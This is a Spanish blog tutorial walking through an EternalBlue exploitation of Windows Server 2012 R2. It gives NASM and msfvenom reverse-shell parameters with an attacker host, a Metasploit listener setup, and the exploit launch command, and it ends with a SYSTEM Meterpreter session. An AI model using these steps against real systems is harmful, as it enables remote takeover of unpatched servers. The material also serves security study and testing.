martes, 4 de julio de 2017

Cómo explotar Eternalblue en Windows Server 2012 R2

Muchos especialistas, investigadores y apasionados del reversing pusieron bajo su lupa a Eternablue. Como resultado de ello, el security researcher Sleepya, publicó en su Github una versión de dicho exploit para Windows Server 2012 R2, objetivo originalmente no soportado. Pero la realidad es que incluso el propio autor de esa versión del exploit no publicó ninguna explicación ni demostración de que realmente funcionara, peor aún, la gente que comentaba haberlo probado decía que no le había funcionado.

Figura 2: Módulo asm del exploit publicado por sleepya

Fue entonces cuando decidimos revisar dicho código, entenderlo y buscar la manera de tener un impacto exitoso. Para lograrlo, es necesario llevar adelante una serie de pasos y tener en cuenta algunas cosas que detallaré a continuación.


Paso 1: Ensamblar la Kernel Shellcode

Primero es necesario utilizar la kernel shellcode desarrollada por Sleepya.  Como se puede observar, es un .asm que debemos ensamblar y para ello utilizaremos NASM con el siguiente comando: nasm -f bin kernel_shell_x64.asm


Figura 3: Compilación de la kernel shellcode desarrolladad por sleepya

Paso 2: Generar la Userland Shellcode

Un payload de Metasploit generado con msfvenom será la userland shellcode que acompañará a la kernel shellcode ensamblada en el paso anterior. Los parámetros que utilizaremos en msfvenom serán los siguientes:
-p windows/x64/merterpreter/reverse_tcp
-f raw
-o meterpreter_msf.bin
EXITFUNC=thread
LHOST=[IP_ATACANTE]
LPORT=4444 (u otro puerto en la máquina atacante)
Figura 4: Generación de la Userland Shellcode con msfvenom

Paso 3: Unir Kernel Shellcode + Userland Shellcode

Para tener un impacto exitoso, debemos pasar ambas shellcodes como parámetro al exploit. Para ello, las uniremos en un mismo archivo en formato .bin haciendo un simple “append” de una shellcode con la otra.

Figura 5: Uniendo ambas shellcodes

Tras ejecutar el comando que vemos en la imagen superior, tendremos un nuevo archivo “meterpreter.bin” que contiene tanto la kernel shellcode ensamblada como la userland shellcode que generamos con msfvenom.


Paso 4: Configurar el listener de Metasploit

El paso previo al lanzamiento del exploit, es configurar el listener de Metasploit para que reciba la conexión inversa del meterperter una vez que el impacto sea exitoso. Para ello simplemente utilizaremos el módulo de exploit/multi/handler con el payload de meterpreter.

Figura 6: Configuración del listener de Metasploit

Paso 8: Lanzamiento del exploit

Utilizaremos el exploit de Sleepya publicado en su GitHub. Está desarrollado en Python, por lo tanto, lo guardaremos en la máquina atacante con extensión .py.

Figura 7: Merge_shellcode de Sleepya

Acto seguido, abriremos ese archivo .py con un editor de texto y nos dirigiremos a las líneas 42 y 43 donde debemos indicar la cuenta de usuario que el exploit utilizará para autenticación. La misma tendremos que haberla conseguido previamente o bien, podemos utilizar la cuenta de Guest si se encuentra activa en el sistema operativo objetivo.

Figura 8: Configuración de cuenta

Guardamos y procedemos a ejecutar el exploit con los siguientes parámetros:

python exploit.py ip_target meterpreter.bin 200

El parámetro con valor “200” corresponde al “numGroomConn”. El ajustar la cantidad de conexiones “Groom” ayuda a alcanzar un pool de memoria contigua en el kernel para que la sobreescritura del buffer termine en la ubicación que deseamos y lograr ejecutar la shellcode correctamente. 

Figura 9: Lanzamiento del exploit con 200 conexiones Groom

Para esta userland shellcode utilizaremos un número de conexiones Groom de 200. Si al impactar no recibimos la conexión inversa, podemos probar incrementando este número de a 50. Inmediatamente recibiremos la sesión de meterpreter en la terminal de Metasploit.
>

Figura 10: Conexión Meterpreter conseguida con éxito

Cabe destacar que nos encontramos en una sesión de SYSTEM, aunque hayamos utilizado para autenticarnos una cuenta Guest. En el siguiente vídeo tienes la ejecución de este exploit en acción.

Figura 11: PoC de Explotación de EternalBlue en Windows Server 2012 R2